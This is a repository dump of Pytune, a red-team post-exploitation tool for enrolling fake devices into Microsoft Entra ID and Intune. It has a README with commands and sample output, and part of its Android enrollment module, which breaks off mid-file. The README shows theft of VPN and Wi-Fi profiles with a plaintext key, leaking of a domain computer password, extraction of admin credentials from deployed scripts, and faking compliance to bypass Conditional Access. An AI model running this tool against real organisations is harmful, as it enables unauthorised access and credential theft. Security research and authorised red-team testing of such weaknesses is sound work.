├── .gitignore
├── LICENSE
├── README.md
├── device
├── __init__.py
├── android.py
├── device.py
├── linux.py
└── windows.py
├── pytune.py
├── requirements.txt
└── utils
├── __init__.py
├── logger.py
└── utils.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pfx
2 | *.key
3 | *.crt
4 | *.intunewin
5 | *.msi
6 | .roadtools_auth
7 |
8 | # https://github.com/github/gitignore/blob/main/Python.gitignore
9 | # Byte-compiled / optimized / DLL files
10 | __pycache__/
11 | *.py[cod]
12 | *$py.class
13 |
14 | # C extensions
15 | *.so
16 |
17 | # Distribution / packaging
18 | .Python
19 | build/
20 | develop-eggs/
21 | dist/
22 | downloads/
23 | eggs/
24 | .eggs/
25 | lib/
26 | lib64/
27 | parts/
28 | sdist/
29 | var/
30 | wheels/
31 | share/python-wheels/
32 | *.egg-info/
33 | .installed.cfg
34 | *.egg
35 | MANIFEST
36 |
37 | # PyInstaller
38 | # Usually these files are written by a python script from a template
39 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
40 | *.manifest
41 | *.spec
42 |
43 | # Installer logs
44 | pip-log.txt
45 | pip-delete-this-directory.txt
46 |
47 | # Unit test / coverage reports
48 | htmlcov/
49 | .tox/
50 | .nox/
51 | .coverage
52 | .coverage.*
53 | .cache
54 | nosetests.xml
55 | coverage.xml
56 | *.cover
57 | *.py,cover
58 | .hypothesis/
59 | .pytest_cache/
60 | cover/
61 |
62 | # Translations
63 | *.mo
64 | *.pot
65 |
66 | # Django stuff:
67 | *.log
68 | local_settings.py
69 | db.sqlite3
70 | db.sqlite3-journal
71 |
72 | # Flask stuff:
73 | instance/
74 | .webassets-cache
75 |
76 | # Scrapy stuff:
77 | .scrapy
78 |
79 | # Sphinx documentation
80 | docs/_build/
81 |
82 | # PyBuilder
83 | .pybuilder/
84 | target/
85 |
86 | # Jupyter Notebook
87 | .ipynb_checkpoints
88 |
89 | # IPython
90 | profile_default/
91 | ipython_config.py
92 |
93 | # pyenv
94 | # For a library or package, you might want to ignore these files since the code is
95 | # intended to run in multiple environments; otherwise, check them in:
96 | # .python-version
97 |
98 | # pipenv
99 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
100 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
101 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
102 | # install all needed dependencies.
103 | #Pipfile.lock
104 |
105 | # poetry
106 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
107 | # This is especially recommended for binary packages to ensure reproducibility, and is more
108 | # commonly ignored for libraries.
109 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
110 | #poetry.lock
111 |
112 | # pdm
113 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
114 | #pdm.lock
115 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
116 | # in version control.
117 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control
118 | .pdm.toml
119 | .pdm-python
120 | .pdm-build/
121 |
122 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
123 | __pypackages__/
124 |
125 | # Celery stuff
126 | celerybeat-schedule
127 | celerybeat.pid
128 |
129 | # SageMath parsed files
130 | *.sage.py
131 |
132 | # Environments
133 | .env
134 | .venv
135 | env/
136 | venv/
137 | ENV/
138 | env.bak/
139 | venv.bak/
140 |
141 | # Spyder project settings
142 | .spyderproject
143 | .spyproject
144 |
145 | # Rope project settings
146 | .ropeproject
147 |
148 | # mkdocs documentation
149 | /site
150 |
151 | # mypy
152 | .mypy_cache/
153 | .dmypy.json
154 | dmypy.json
155 |
156 | # Pyre type checker
157 | .pyre/
158 |
159 | # pytype static type analyzer
160 | .pytype/
161 |
162 | # Cython debug symbols
163 | cython_debug/
164 |
165 | # PyCharm
166 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
167 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
168 | # and can be added to the global gitignore or merged into this file. For a more nuclear
169 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
170 | #.idea/
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # Pytune
3 |
4 | Pytune is a post-exploitation tool for enrolling a fake device into Intune with mulitple platform support.
5 |
6 | https://www.blackhat.com/eu-24/briefings/schedule/index.html#unveiling-the-power-of-intune-leveraging-intune-for-breaking-into-your-cloud-and-on-premise-42176
7 |
8 | Note that this is a proof of concept tool. The tool is provided as is, without warranty of any kind.
9 |
10 | Supported OSs are as follows:
11 |
12 | - Windows
13 | - Android
14 | - Linux
15 |
16 | This tools gives red teamers following advantages;
17 |
18 | - Enroll a fake device to Entra ID and Intune
19 | - Steal device configurations such as VPN, and Wi-Fi
20 | - Leak domain computer credentials if hybrid autopilot is enabled
21 | - Download installer files for lin-of-business apps, powershell scritps and custom Win32 apps (.bat, .exe ...etc)
22 | - Bypass Entra ID Conditional Access policy of "Marked as Compliant"
23 | - Clean up
24 |
25 | ## Usage
26 |
27 | ```
28 | python3 pytune.py -h
29 | usage: pytune.py [-h] {entra_join,entra_delete,enroll_intune,checkin,retire_intune,check_compliant,download_apps} ...
30 |
31 |
32 | ______ __ __ ______ __ __ __ __ ______
33 | /\ == \ /\ \_\ \ /\__ _\ /\ \/\ \ /\ "-.\ \ /\ ___\
34 | \ \ _-/ \ \____ \ \/_/\ \/ \ \ \_\ \ \ \ \-. \ \ \ __\
35 | \ \_\ \/\_____\ \ \_\ \ \_____\ \ \_\\"\_\ \ \_____\
36 | \/_/ \/_____/ \/_/ \/_____/ \/_/ \/_/ \/_____/
37 |
38 | Faking a device to Microsft Intune (version:1.0)
39 |
40 |
41 | options:
42 | -h, --help show this help message and exit
43 |
44 | subcommands:
45 | pytune commands
46 |
47 | {entra_join,entra_delete,enroll_intune,checkin,retire_intune,check_compliant,download_apps}
48 | entra_join join device to Entra ID
49 | entra_delete delete device from Entra ID
50 | enroll_intune enroll device to Intune
51 | checkin checkin to Intune
52 | retire_intune retire device from Intune
53 | check_compliant check compliant status
54 | download_apps download available win32apps and scripts (only Windows supported since I'm lazy)
55 | ```
56 |
57 | ### Enroll a fake device
58 |
59 | To enroll a fake device to Intune, you need to register it to Entra ID first with `entra_join` command.
60 |
61 | ```
62 | $ python3 pytune.py entra_join -o Windows -d Windows_pytune -u testuser@*******.onmicrosoft.com -p ***********
63 | Saving private key to Windows_pytune_key.pem
64 | Registering device
65 | Device ID: 8fd0710a-1ea3-4261-86d1-48d7509c80b8
66 | Saved device certificate to Windows_pytune_cert.pem
67 | [+] successfully registered Windows_pytune to Entra ID!
68 | [*] here is your device certificate: Windows_pytune.pfx (pw: password)
69 | ```
70 |
71 | You will receive an Entra ID's device certificate when succeded.
72 |
73 | Then, you can enroll the fake device to Intune with `enroll_intune` command.
74 |
75 | ```
76 | $ python3 pytune.py enroll_intune -o Windows -d Windows_pytune -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p ***********
77 | [*] resolved enrollment url: https://fef.msuc06.manage.microsoft.com/StatelessEnrollmentService/DeviceEnrollment.svc
78 | [+] successfully enrolled Windows_pytune to Intune!
79 | [*] here is your MDM pfx: Windows_pytune_mdm.pfx (pw: password)
80 | ```
81 |
82 | Intune MDM device ceritificate, `{device_name}_mdm.pfx`, is generated once the device is enrolled to Intune.
83 |
84 | ### Steal device configuration
85 |
86 | You can start check-in with `checkin` command.
87 | This exchanges information between device and Intune management server.
88 |
89 | ```
90 | $ python3 pytune.py checkin -o Windows -d Windows_pytune -c Windows_pytune.pfx -m Windows_pytune_mdm.pfx -u testuser@*******.onmicrosoft.com -p ***********
91 | [*] send request #1
92 | [*] sending data for ./Vendor/MSFT/NodeCache/MS%20DM%20Server
93 | [*] sending data for ./Vendor/MSFT/NodeCache/MS%20DM%20Server/CacheVersion
94 | [*] sending data for ./Vendor/MSFT/NodeCache/MS%20DM%20Server/ChangedNodes
95 | [*] sending data for ./DevDetail/SwV
96 | [*] sending data for ./DevDetail/Ext/Microsoft/LocalTime
97 | [*] sending data for ./Vendor/MSFT/WindowsLicensing/Edition
98 | [*] sending data for ./Vendor/MSFT/Update/LastSuccessfulScanTime
99 | ...
100 | ```
101 |
102 | If there are any device configuration profiles, pytune will steal and display them. The followings are the examples of VPN and Wi-Fi settings delivered to the fake device.
103 |
104 | ```
105 | [*] send request #9
106 | [*] checkin ended!
107 | [!] maybe these are configuration profiles:
108 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/RememberCredentials: false
109 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/AlwaysOn: false
110 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/RegisterDns: false
111 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/DeviceCompliance/Enabled: false
112 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/DeviceCompliance/Sso/Enabled: false
113 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/PluginProfile/ServerUrlList: vpn.contoso.com;Internal VPN
114 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/PluginProfile/CustomConfiguration: true
115 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/PluginProfile/PluginPackageFamilyName: 951D7986.PulseSecureVPN_qzpvqh70t9a4p
116 | - ./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Poll/PollOnLogin: true
117 | - ./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22AccountId%22/SettingValue: 3decc354-7c51-4c78-9f40-7eb57efbe447
118 | - ./Vendor/MSFT/WiFi/Profile/ContosoCorp_Wi-Fi/WlanXml:
119 | {'WLANProfile': {'@xmlns': 'http://www.microsoft.com/networking/WLAN/profile/v1', 'name': 'ContosoCorp_Wi-Fi', 'SSIDConfig': {'SSID': {'hex': '436F6E746F736F436F72705F57692D4669', 'name': 'ContosoCorp_Wi-Fi'}, 'nonBroadcast': 'false'}, 'connectionType': 'ESS', 'connectionMode': 'auto', 'autoSwitch': 'false', 'MSM': {'security': {'authEncryption': {'authentication': 'WPA2PSK', 'encryption': 'AES', 'useOneX': 'false', 'FIPSMode': {'@xmlns': 'http://www.microsoft.com/networking/WLAN/profile/v2', '#text': 'false'}}, 'sharedKey': {'keyType': 'passPhrase', 'protected': 'false', 'keyMaterial': 'SuperSecretWiFiPassword'}, 'PMKCacheMode': 'disabled'}}}}
120 | - ./Vendor/MSFT/WiFi/Profile/ContosoCorp_Wi-Fi/WiFiCost: 1
121 | - ./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Push/PFN: 15494WindowsStoreWNS.WNSIntune_skcpvdt8tnyse
122 | ```
123 |
124 | Also, if any installer files for line-of-business apps are configured to be delivered, `checkin` command will download it as follows.
125 |
126 | ```
127 | [!] we found line-of-business app...
128 | [*] downloading msi file from https://fef.msuc06.manage.microsoft.com/ContentService/DownloadService/GetAppActive/WinRT?contentGuid=22cce2e1-e62d-4142-b7cb-c8750cd57dda&fileNameHash=45d9c902-8d79-417a-8414-4b21948011dd.msi.bin&api-version=1.0
129 | [+] successfully downloaded to 45d9c902-8d79-417a-8414-4b21948011dd.msi
130 | ```
131 |
132 | This could be a VPN client installer file that can be used for initial access.
133 |
134 | ### Query compliance state of your device
135 |
136 | The device's compliance state is evaluated through the information sent to Intune during the check-in.
137 | `check_compliant` command queies the compliance state of the fake device and tell you which settings are not compliant with the company's policy
138 |
139 | ```
140 | $ python3 pytune.py check_compliant -o Windows -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p ***********
141 | [*] resolved IWservice url: https://fef.msuc06.manage.microsoft.com/TrafficGateway/TrafficRoutingService/IWService/StatelessIWService
142 | [*] resolved token renewal url: https://fef.msuc06.manage.microsoft.com/OAuth/StatelessOAuthService/OAuthProxy/
143 | [-] Windows_pytune is not compliant
144 | [!] non-compliant reason #1:
145 | - SettingID: Firewall_Enabled
146 | - Title: Device must have firewall enabled.
147 | - Description: This device must have the firewall enabled. Contact your IT administrator for help.
148 | [!] non-compliant reason #2:
149 | - SettingID: SpecificationVersionForCompliance
150 | - Title: A Trusted Platform Module (TPM) is required
151 | - ExpectedValue: Equals True
152 | - Description: This device does not have an active TPM present.
153 | ```
154 |
155 | You can modify what settings are sent as a fake device, for example, in `device/windows.py`.
156 | Then, re-enroll and check-in again so that you can get a fake device being marked as compliant.
157 |
158 | ### Leak domain computer credentials
159 |
160 | When Hybrid Autopilot is configured, you can leak a domain computer's credential for initial access.
161 | To enroll a fake device as AutoPilot, you need to get a hardware hash from your test machine.
162 |
163 | As for the hardware hash retrieval, you can referer to the following page.
164 |
165 | https://learn.microsoft.com/en-us/autopilot/add-devices#powershell
166 |
167 | Then, you can provide the hardware hash in `-H` parameter in `checkin` command.
168 |
169 | ```
170 | $ python3 pytune.py checkin -o Windows -d Windows_pytune -c Windows_pytune.pfx -m Windows_pytune_mdm.pfx -u testuser@*******.onmicrosoft.com -p *********** -H $HWHASH
171 | ```
172 |
173 | Then, after the initial check-in with the hardware hash, the next check-in will give you the domain credential.
174 |
175 | ```
176 | [+] got online domain join blob
177 | [*] parse domain join info...
178 | - domain: vuln.local
179 | - computername: DESKTOP-PZjn0P9$
180 | - computerpass: _`@#"%zsw^W***********************************************
181 | ```
182 |
183 | ### Download Win32 apps and PowerShell scripts
184 |
185 | If there are Win32 apps or PowerShell scripts to be delviered, you can donwload it through `download_apps` command.
186 | Here is the example of the command.
187 |
188 | ```
189 | $ python3 pytune.py download_apps -d Windows_pytune -m Windows_pytune_mdm.pfx
190 | [*] downloading scripts...
191 | [!] scripts found!
192 | [*] #1 (policyid:f7e2c3b6-b57f-43fb-a17f-2feab218806b):
193 |
194 | $userName = "pcadmin"
195 | $password = "SuperSecurePassword"
196 | $securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
197 |
198 | New-LocalUser -Name $userName -Password $securePassword -FullName "Local Administrator" -Description "Local Admin User" -PasswordNeverExpires
199 | Add-LocalGroupMember -Group "Administrators" -Member $userName
200 |
201 | [*] downloading win32apps...
202 | [!] found ContosoCorpCustomApp!
203 | [*] downloading from http://swdc01-mscdn.manage.microsoft.com/3decc354-7c51-4c78-9f40-7eb57efbe447/6505c9ee-4847-4d5c-a7bb-aa99ec92d674/4ad4d2b8-9210-4496-ad12-11f48d255119.intunewin.bin ...
204 | [+] successfully downloaded to ContosoCorpCustomApp.intunewin!
205 | [!] found DomainJoin.bat!
206 | [*] downloading from http://swdc02-mscdn.manage.microsoft.com/3decc354-7c51-4c78-9f40-7eb57efbe447/f7131f16-29ef-415d-b549-ea706cba6da0/e9c4f14e-9d76-4797-a697-7139d64c8975.intunewin.bin ...
207 | [+] successfully downloaded to DomainJoin.bat.intunewin!
208 | ```
209 |
210 | When successful, PowerShell scripts are displayed and also .intunewin files are downloaded.
211 |
212 | .intunewin file is just a zip file and you can unzip it to extract the Win32 apps inside.
213 |
214 | ### Clean-up
215 |
216 | For clean-up, retire the fake device from Intune.
217 |
218 | First, you need to execute `retire_intune` command.
219 |
220 | ```
221 | $ python3 pytune.py retire_intune -o Windows -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p ***********
222 | [*] resolved IWservice url: https://fef.msuc06.manage.microsoft.com/TrafficGateway/TrafficRoutingService/IWService/StatelessIWService
223 | [*] resolved token renewal url: https://fef.msuc06.manage.microsoft.com/OAuth/StatelessOAuthService/OAuthProxy/
224 | [*] resolved reitrement url: https://fef.msuc06.manage.microsoft.com/TrafficGateway/TrafficRoutingService/IWService/StatelessIWService/Devices(guid'cabd6f8f-a88f-42e7-b3d0-6b93efb41657')/FullWipe
225 | [+] successfully retired: 8fd0710a-1ea3-4261-86d1-48d7509c80b8
226 | ```
227 |
228 | To complete retirement, you need to check-in again. This will delete the fake device object from Intune.
229 |
230 | ```
231 | $ python3 pytune.py checkin -o Windows -d Windows_pytune -c Windows_pytune.pfx -m Windows_pytune_mdm.pfx -u testuser@*******.onmicrosoft.com -p ***********
232 | [*] send request #1
233 | [*] send request #2
234 | [*] sending data for ./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDMID
235 | [*] send request #3
236 | [*] checkin ended!
237 | ```
238 |
239 | Additionally, you need to delete the device in Entra ID as well with `entra_delete` command.
240 |
241 | ```
242 | $ python3 pytune.py entra_delete -c Windows_pytune.pfx
243 | Device was deleted in Azure AD
244 | ```
245 |
246 | If the device is enrolled as an AutoPilot device, then it fails to delete the device object from Entra ID.
247 | Delete the device information in Microsoft Intune admin center > Windows > Enrollment > Devices before `entra_delete` command.
248 |
--------------------------------------------------------------------------------
/device/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/secureworks/pytune/579a4da22f1a33b62d79c93a1bc5862190a2d28b/device/__init__.py
--------------------------------------------------------------------------------
/device/android.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import requests
3 | import xml.etree.ElementTree as ET
4 | import xmltodict
5 | from datetime import datetime, timedelta, timezone
6 | from device.device import Device
7 | from utils.utils import renew_token
8 |
9 | class Android(Device):
10 | def __init__(self, logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy):
11 | super().__init__(logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy)
12 | self.os_version = '8.2.0'
13 | self.ssp_version = '5.0.6060.0'
14 | self.checkin_url = 'https://a.manage.microsoft.com/devicegatewayproxy/AndroidHandler.ashx?Platform=AndroidForWork'
15 | self.provider_name = 'AndroidEnrollment'
16 | self.cname = 'ConfigMgrEnroll'
17 |
18 | def generate_initial_syncml(self, sessionid, imei):
19 | syncml_data = self.generate_syncml_header(1, sessionid, imei)
20 | syncml_data["SyncML"]["SyncBody"] = {
21 | "Alert": {"CmdID": "1", "Data": "0"},
22 | "Replace": {
23 | "CmdID": "2",
24 | "Item": [
25 | {
26 | "Source": {"LocURI": "./DevInfo/DevId"},
27 | "Data": f"imei:{imei}",
28 | },
29 | {
30 | "Source": {"LocURI": "./DevInfo/Man"},
31 | "Data": self.get_syncml_data("./DevInfo/Man")["Data"]
32 | },
33 | {
34 | "Source": {"LocURI": "./DevInfo/Mod"},
35 | "Data": self.get_syncml_data("./DevInfo/Mod")["Data"],
36 | },
37 | {
38 | "Source": {"LocURI": "./DevInfo/DmV"}, "Data": "1.0"
39 | },
40 | {
41 | "Source": {"LocURI": "./DevInfo/Lang"},
42 | "Data": self.get_syncml_data("./DevInfo/Lang")["Data"]
43 | }
44 | ],
45 | },
46 | "Final": None
47 | }
48 | return xmltodict.unparse(syncml_data, pretty=False)
49 |
50 | def get_enrollment_token(self, refresh_token):
51 | return renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'openid offline_access profile d4ebce55-015a-49b5-a083-c84d1797ae8c/.default', self.proxy)
52 |
53 | def send_enroll_request(self, enrollment_url, csr_pem, csr_token, ztdregistrationid):
54 | token_b64 = base64.b64encode(csr_token.encode('utf-8')).decode('utf-8')
55 | body = f'''
56 |
63 |
64 | http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep
65 | urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749
66 |
67 | http://www.w3.org/2005/08/addressing/anonymous
68 |
69 | {enrollment_url}
70 |
71 |
72 | {token_b64}
73 |
74 |
75 |
76 |
77 |
78 | http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken
79 | http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue
80 |
81 | {csr_pem}
82 |
83 |
85 |
86 | AndroidForWork
87 |
88 |
89 | {self.os_version}
90 |
91 |
92 | {self.deviceid}
93 |
94 |
95 | 00000000000000
96 |
97 |
98 | PYTUNE
99 |
100 |
101 | Google
102 |
103 |
104 |
105 |
106 |
107 | '''
108 |
109 | response = requests.post(
110 | url=enrollment_url,
111 | data=body,
112 | headers={"Content-Type": "application/soap+xml; charset=utf-8"},
113 | proxies=self.proxy,
114 | verify=False
115 | )
116 |
117 | xml = ET.fromstring(response.content.decode('utf-8'))
118 | binary_security_token = xml.find('.//{http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd}BinarySecurityToken').text
119 | return base64.b64decode(binary_security_token).decode('utf-8')
120 |
121 | def get_syncml_data(self, key):
122 | now = datetime.now(timezone(timedelta(minutes=540)))
123 | formatted_date = now.strftime("%Y%m%d%H%M%S.%f%z")
124 | data = {
125 | f"./DevInfo/Lang": {
126 | "Format": "chr",
127 | "Data": "en-US"
128 | },
129 | f"./DevInfo/Man": {
130 | "Format": "chr",
131 | "Data": "Google"
132 | },
133 | f"./DevDetail/SwV": {
134 | "Format": "chr",
135 | "Data": self.os_version
136 | },
137 | f"./DevDetail/Ext/Microsoft/LocalTime": {
138 | "Format": "chr",
139 | "Data": formatted_date
140 | },
141 | f"./Device/DevDetail/Ext/Microsoft/LocalTime": {
142 | "Format": "chr",
143 | "Data": formatted_date
144 | },
145 | f"./Vendor/MSFT/DeviceLock/DevicePolicyManager/IsActivePasswordSufficient": {
146 | "Format": "bool",
147 | "Data": "true"
148 | },
149 | f"./Vendor/MSFT/WorkProfileLock/DevicePolicyManager/IsActivePasswordSufficient": {
150 | "Format": "bool",
151 | "Data": "true"
152 | },
153 | f"./Device/Vendor/MSFT/DMClient/Provider/SCConfigMgr/EntDeviceName": {
154 | "Format": "chr",
155 | "Data": self.device_name
156 | },
157 | f"./Device/DevDetail/SwV": {
158 | "Format": "chr",
159 | "Data": self.os_version
160 | },
161 | f"./Device/DevInfo/DmI": {
162 | "Format": "chr",
163 | "Data": "com.android.vending"
164 | },
165 | f"./Device/DevInfo/Man": {
166 | "Format": "chr",
167 | "Data": "Google"
168 | },
169 | f"./Device/DevInfo/Mod": {
170 | "Format": "chr",
171 | "Data": "Android SDK built for x86"
172 | },
173 | f"./DevInfo/Mod": {
174 | "Format": "chr",
175 | "Data": "Android SDK built for x86"
176 | },
177 | f"./Device/DevDetail/Ext/Microsoft/KnoxStandardCapable": {
178 | "Format": "bool",
179 | "Data": "false"
180 | },
181 | f"./Device/DevDetail/Ext/Microsoft/KnoxStandardVersion": {
182 | "Format": "bool",
183 | "Data": "false"
184 | },
185 | f"./Device/DevDetail/Ext/Microsoft/Container": {
186 | "Format": "chr",
187 | "Data": "AndroidForWork"
188 | },
189 | f"./Device/Vendor/MSFT/DeviceInformation/APILevel": {
190 | "Format": "int",
191 | "Data": "27"
192 | },
193 | f"./Device/DevDetail/Ext/Microsoft/GoogleServicesAndroidId": {
194 | "Format": "chr",
195 | "Data": "371a184e7e106668"
196 | },
